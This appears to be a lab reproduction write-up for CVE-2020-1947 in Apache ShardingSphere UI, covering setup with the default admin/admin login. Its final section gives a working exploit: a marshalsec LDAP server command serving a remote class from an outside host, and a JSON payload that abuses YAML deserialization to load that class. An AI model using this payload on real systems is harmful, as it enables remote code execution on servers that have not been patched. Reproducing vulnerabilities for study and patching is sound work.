CVE-2020-1947 Apache ShardingSphere UI YAML Parsing Remote Code Execution Vulnerability Reproduction

0x01 Download shardingsphere binary package

wget https://mirror-hk.koddos.net/apache/incubator/shardingsphere/4.0.0/apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz

Extract

[root@kali]# tar -xf apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz 
[root@kali]# ll
total 23064
drwxr-xr-x 6 root root      103 Feb 28 15:23 apache-shardingsphere-incubating-4.0.0-sharding-ui-bin

Enter the program directory and run

[root@kali]# cd apache-shardingsphere-incubating-4.0.0-sharding-ui-bin
[root@kali]# bin/start.sh

sharding-ui is a standard Spring Boot application, and related information can be configured via conf/application.properties

#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License.  You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
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# distributed under the License is distributed on an "AS IS" BASIS,
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# See the License for the specific language governing permissions and
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server.port=8088

user.admin.username=admin
user.admin.password=admin

Port, username, and password can be modified here.

0x02 Configuration and Usage

Enter the IP address of your deployed server:8088 to access the management interface.

Default username and password are: admin/admin

The registry address is the Zookeeper address, format: 127.0.0.1:2181

0x03 Post data to RCE

ldap

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.10.20.166:8000/#ExportObject

http://10.10.20.166:8088/api/schema

Poc:

{
  "name": "CVE-2020-1947",
  "ruleConfiguration": "  encryptors:\n    encryptor_aes:\n      type: aes\n      props:\n        aes.key.value: 123456abc\n    encryptor_md5:\n      type: md5\n  tables:\n    t_encrypt:\n      columns:\n        user_id:\n          plainColumn: user_plain\n          cipherColumn: user_cipher\n          encryptor: encryptor_aes\n        order_id:\n          cipherColumn: order_cipher\n          encryptor: encryptor_md5",
  "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: ldap://127.0.0.1:1389/ExportObject\n  autoCommit: true"
}